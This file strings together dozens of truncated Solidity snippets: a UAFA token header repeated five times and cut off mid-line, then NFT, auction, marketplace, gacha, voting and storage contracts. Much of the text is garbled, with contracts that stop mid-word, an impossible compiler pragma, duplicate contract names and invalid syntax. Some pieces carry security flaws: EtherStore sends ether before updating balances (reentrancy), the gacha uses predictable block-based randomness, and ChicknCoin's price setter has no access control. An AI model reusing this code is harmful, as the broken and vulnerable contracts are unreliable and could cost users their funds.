Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowa

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 Tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowa

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 Tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://www.flowcode.com/page/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowa

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 Tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://flow.code/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowance(address 

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://flow.code/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowance(address 

// SPDX-License-Identifier: UNLICENSED

/**
 *Submitted for verification at BscScan.com on {{to be annouced}}
*/

/*
* 
UA Faith Token (Website: https://uafatoken.org/)

Initial Supply: 100 000 000 000 000 000 000 000 tokens

Tax:
8% buy
8% sell
Charity Fee 2%, Liquidity Generation Fee 2%, Burning Fee 2%, Tax Fee 2%

https://discord.gg/QZzpwxcKSP
https://t.me/uafatoken
https://flow.code/uafatoken

UAFA Token //VVS//
Without Dishonor. Without Prejudice. V.C.
Created by Tymur Matvieienko and Kurtis Brisbois
*
*/

pragma solidity 0.5.16;
 
interface IBEP20 {
  function totalSupply() external view returns (uint256);
  function decimals() external view returns (uint8);
  function symbol() external view returns (string memory);
  function name() external view returns (string memory);
  function getOwner() external view returns (address);
  function balanceOf(address account) external view returns (uint256);
  function transfer(address recipient, uint256 amount) external returns (bool);
  function allowance(address 

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

// Import the OZ 1155 standard and ownable contract 

import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

// Initialize our contract

contract MySuperSecure1155 is ERC1155, Ownable {
    uint public totalMinted;
    string public name;
    string public symbol;
    uint256 public total;
    uint256 public cost;
    uint256 public _feeAmount;
    
    bool public paused = false;
    bool public whitelistedBuyersOnly = true;
    uint public constant maxSupply = 1111;

    address public whitelist = [];

    mapping(address => bool) public whitelisted;
    mapping (uint => uint) private tokenMintCounts;
    mapping (uint256 => string) private _uris;
    
    bool internal locked;

    constructor() ERC1155("{{myIPFSLINK}}/{id}.json") {
        name = "MySuperSecureNFT";
        symbol = "MSSN";

        setWhitelistedAddresses(whitelist);
        
        // Set resale fee amount
        _feeAmo

pragma solidity 0.4.18;

library SafeMath {
  function sub(uint8 a, uint8 b) internal pure returns (uint8) {
    assert(b <= a);
    return a - b;
  }

  function add(uint8 a, uint8 b) internal pure returns (uint8) {
    uint8 c = a + b;
    assert(c >= a);
    return c;
  }
}
contract TestSafeMath {
  
  using SafeMath for uint8;

  function safeAdd(uint8 num) public pure returns (uint8) {
    uint8 result = 255;
    return result.add(num);
  }

  function safeSub(uint8 num) public pure returns (uint8) {
    uint8 result = 0;
    return result.sub(num);
  }

// SPDX-License-Identifier: GPL-3.0

pragma solidity >0.4.23 <0.6.0;

contract BlindAuction {
    struct Bid {
        bytes32 blindedBid;
        uint deposit;
    }

    address payable public beneficiary;
    uint public biddingEnd;
    uint public revealEnd;
    bool public ended;

    mapping(address => Bid[]) public bids;

    address public highestBidder;
    uint public highestBid;

    // Allowed withdrawals of previous bids
    mapping(address => uint) pendingReturns;

    event AuctionEnded(address winner, uint highestBid);

    /// Modifiers are a convenient way to validate inputs to
    /// functions. `onlyBefore` is applied to `bid` below:
    /// The new function body is the modifier's body where
    /// `_` is replaced by the old function body.
    modifier onlyBefore(uint _time) { require(now < _time); _; }
    modifier onlyAfter(uint _time) { require(now > _time); _; }

    constructor(
        uint _biddingTime,
        uint _revealTime,
        address payable _beneficiary
    ) public {
 

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.7.1;

import "openzeppelin-solidity/contracts/utils/Counters.sol";
import "openzeppelin-solidity/contracts/token/ERC721/ERC721.sol";
import "openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "openzeppelin-solidity/contracts/security/ReentrancyGuard.sol";

// TODO pay with ERC20 token
// https://ethereum.org/en/developers/tutorials/transfers-and-approval-of-erc-20-tokens-from-a-solidity-smart-contract/
// TODO fiat integration
// TODO cancel auction?

contract BiddingMarketPlace is ReentrancyGuard {
    using Counters for Counters.Counter;
    Counters.Counter private _itemIds;
    Counters.Counter private _itemsSold;

    address payable public marketOwner;

    constructor() {
        marketOwner = payable(msg.sender);
    }

    struct MarketItem {
        uint256 itemId;
        address nftContract;
        uint256 tokenId;
        address payable seller;
        address payable owner;
        uint256 askingPrice;
        uint256 aucti

function roll() external {
    gachaTicket.transferFrom(msg.sender, address(this), gachaCost);
    uint256 rand = _random();
    uint256 stars;
    if(rand < 1) { stars = 5; }         // 5* at 1%
    else if(rand < 5) { stars = 4; }    // 4* at 4%
    else if(rand < 15) { stars = 3; }   // 3* at 10%
    else if(rand < 50) { stars = 2; }   // 2* at 35%
    else { stars = 1; }                 // 1* at 50%
    gachaCapsule.mint(msg.sender, stars);
}

function _random() internal returns (uint256) {
    return uint256(keccak256(abi.encodePacked(block.timestamp, block.number, msg.sender, gachaCapsule.totalSupply()))) % 100;

// SPDX-License-Identifier: MIT
// Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.24; // declaring which Solidity compiler we want to use
// pragma solidity >=0.4.0 <0.7.0;

contract Playground {

  uint storedData;
  function set(uint x) external {
      storedData = x;
  }
  function get() public view returns (uint) {
      return storedData;
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  uint256[] nums = [0, 1, 2, 3];
  uint256 length = array.length;
  for (uint256 i=0; i < length; ++i) {
    console.log(nums[i]);
  }

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.26;

/**
 * @dev Required interface of an ERC721 compliant contract.
 */
contract IERC721 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "@chainlink/contracts/src/v0.8/ChainlinkClient.sol";
import "@chainlink/contracts/src/v0.8/ConfirmedOwner.sol";

contract OFCaller is ChainlinkClient, ConfirmedOwner {
	using Chainlink for Chainlink.Request;

	uint256 constant private ORACLE_PAYMENT = 1 * LINK_DIVISIBILITY;
	string public lastResponse;
	string public jobId;
	address public oracle;

	event StartedExecution();

	event FinishedExecution(
		bytes32 indexed requestId,
		string indexed response
	);

	constructor(address _link, address _oracle, string memory _jobId) ConfirmedOwner(msg.sender){
		setChainlinkToken(_link);
		oracle = _oracle;
		jobId = _jobId;
	}

	function invokeApp(string memory url, string memory data)
	public
	onlyOwner
	{
		emit StartedExecution();
		Chainlink.Request memory req = buildOperatorRequest(stringToBytes32(jobId), this.fulfillInvokeApp.selector);
		req.add("id", "0");
		req.add("url", url);
		req.add("data", data);
		sendOperatorRequestTo(oracle, req, 0);
	

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0 <0.7.0;
contract SimpleStorage {
    uint storedData;
    function set(uint x) public {
        storedData = x;
    }
    function get() public view returns (uint) {
        return storedData;
    }
}
//—------------------------------------------

pragma solidity >=0.8.9 <0.8.0;
contract NewWorld {
    function New() pure public returns(string memory) {
    return NewWorld;
    }
  }
contract  NewWorld {
  string public data;

  function set(string memory_data) public {
  }


  function  get () view public returns (string memory) {
  return data ;
  }
}
//====================================

contract  NewWorld {
  uint [] public ids;

  function  add (uint id) public {
    ids.push(id);
  }

  function get (uint position) view public returns (uint) {
    return ids[position];
  }

  function getAll () view public returns (uint[] memory){
        return ids;
  }

  function length () view public returns (uint) {
      return ids.length;
  }
}

contract

// SPDX-License-Identifier: MIT
pragma solidity >=0.4.0 <0.7.0;
contract SimpleStorage {
    uint storedData;
    function set(uint x) public {
        storedData = x;
    }
    function get() public view returns (uint) {
        return storedData;
    }
}
//—------------------------------------------

pragma solidity >=0.8.9 <0.8.0;
contract NewWorld {
    function New() pure public returns(string memory) {
    return NewWorld;
    }
  }
contract  NewWorld {
  string public data;

  function set(string memory_data) public {
  }


  function  get () view public returns (string memory) {
  return data ;
  }
}
//====================================

contract  NewWorld {
  uint [] public ids;

  function  add (uint id) public {
    ids.push(id);
  }

  function get (uint position) view public returns (uint) {
    return ids[position];
  }

  function getAll () view public returns (uint[] memory){
        return ids;
  }

  function length () view public returns (uint) {
      return ids.length;
  }
}

contract

pragma solidity >=0.4.22 <0.7.0;
pragma experimental ABIEncoderV2;
import "./Time.sol";
import "./Provable.sol";


contract Quadratic is usingProvable{
    
    string public contractType = 'quadratic-voting';
    
    struct Voter{
        bool registered;
        uint tokensLeft;
        uint[] votes;
    }
    struct Proposal{
        string name;
        string description;
        uint voteCount;
    }
    
    event proposalAdded(
        Proposal proposal    
    );
   
    event voterRegistered(
        address voterAddress    
    );
    
    event voted(
        address voterAddress    
    );
    
    event LogQueryResult(string price);
    event LogNewProvableQuery(string description);

    uint public registrationStartTimeStamp;
    uint public registrationEndTimeStamp;
    uint public votingStartTimeStamp;
    uint public votingEndTimeStamp;
    
    address public chairPerson;
    mapping(address => Voter) public voters;
    Proposal[] public proposals;
    uint public tokensAllowed;
    
    c

pragma solidity >=0.4.22 <0.7.0;
pragma experimental ABIEncoderV2;
import "./Time.sol";
import "./Provable.sol";


contract Quadratic is usingProvable{
    
    string public contractType = 'quadratic-voting';
    
    struct Voter{
        bool registered;
        uint tokensLeft;
        uint[] votes;
    }
    struct Proposal{
        string name;
        string description;
        uint voteCount;
    }
    
    event proposalAdded(
        Proposal proposal    
    );
   
    event voterRegistered(
        address voterAddress    
    );
    
    event voted(
        address voterAddress    
    );
    
    event LogQueryResult(string price);
    event LogNewProvableQuery(string description);

    uint public registrationStartTimeStamp;
    uint public registrationEndTimeStamp;
    uint public votingStartTimeStamp;
    uint public votingEndTimeStamp;
    
    address public chairPerson;
    mapping(address => Voter) public voters;
    Proposal[] public proposals;
    uint public tokensAllowed;
    
    c

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.21;
contract SimpleStore {
  struct slice {
    uint _len;
    uint _ptr;
  }

    function startsWith(slice memory self, slice memory needle) internal pure returns (bool) {
      if (self._len < needle._len) {
          return false;
      }
      if (self._ptr == needle._ptr) {
          return true;
      }
      bool equal;
      assembly {
          let length := mload(needle)
          let selfptr := mload(add(self, 0x20))
          let needleptr := mload(add(needle, 0x20))
          equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
      }
      return equal;
    }

  function toSlice(string memory self) internal pure returns (slice memory) {
    uint ptr;
    assembly {
        ptr := add(self, 0x20)
    }
    return slice(bytes(self).length, ptr);
  }

    function testStartsWith(string memory needle, string memory haystick) public pure returns (bool) {
        slice memory

// SPDX-License-Identifier: MIT
pragma solidity >=0.4.22 <0.9.0;

// addition, subtraction, multiplication and division
contract Math {
    // address public owner;

    // constructor() {
    //     owner = msg.sender;
    // }

    function add(int a, int b) public pure returns(int) {
        return a + b;
    }

    function sub(int a, int b) public pure returns(int) {
        return a - b;
    }

    function mul(int a, int b) public pure returns(int) {
        return a * b;
    }

    function div(int a, int b) public pure returns(int) {
        return a / b;
    }
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract EtherStore {

    uint256 public withdrawalLimit = 1 ether;
    mapping(address => uint256) public lastWithdrawTime;
    mapping(address => uint256) public balances;

    function depositFunds() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdrawFunds (uint256 _weiToWithdraw) public {
        require(balances[msg.sender] >= _weiToWithdraw);
        // limit the withdrawal
        require(_weiToWithdraw <= withdrawalLimit);
        // limit the time allowed to withdraw
        require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
        require(msg.sender.call.value(_weiToWithdraw)());
        balances[msg.sender] -= _weiToWithdraw;
        lastWithdrawTime[msg.sender] = now;
    }
 }

pragma solidity ^0.8.7;

contract ChicknCoin {

    uint256 public tokenPrice = 0.0 ether;

    string public tokenBaseURI = "ipfs://QmUQp1gup2GU9WLsNCMzgTM2sDBUgBNtREcvz8GcTbrhqa/";

    uint256 public constant PRESOLD_TOKENS_AMOUNT = 14;
    uint256 public constant TOTAL_TOKENS = 842;
    uint256 public nextTokenId = PRESOLD_TOKENS_AMOUNT + 1;

    constructor(){}
    
    function setTokenPrice(uint256 val) external {
      tokenPrice = val;
    }

    function distribute(uint256 [] calldata ids) external payable{
        uint256 perTransfer = msg.value;
        uint256 numberOfTransfers = 0;
        for(uint256 i = 0; i < ids.length; i++) { 
            if(true) {
               numberOfTransfers ++;
            }
        }
        require(numberOfTransfers != 0, "Nobody owns the tokens");
        perTransfer = perTransfer / numberOfTransfers;
        for(uint256 i = 0; i < ids.length; i++) { 
            if(true) {
                perTransfer = 0;
            }
        }
    }

    function getDistributi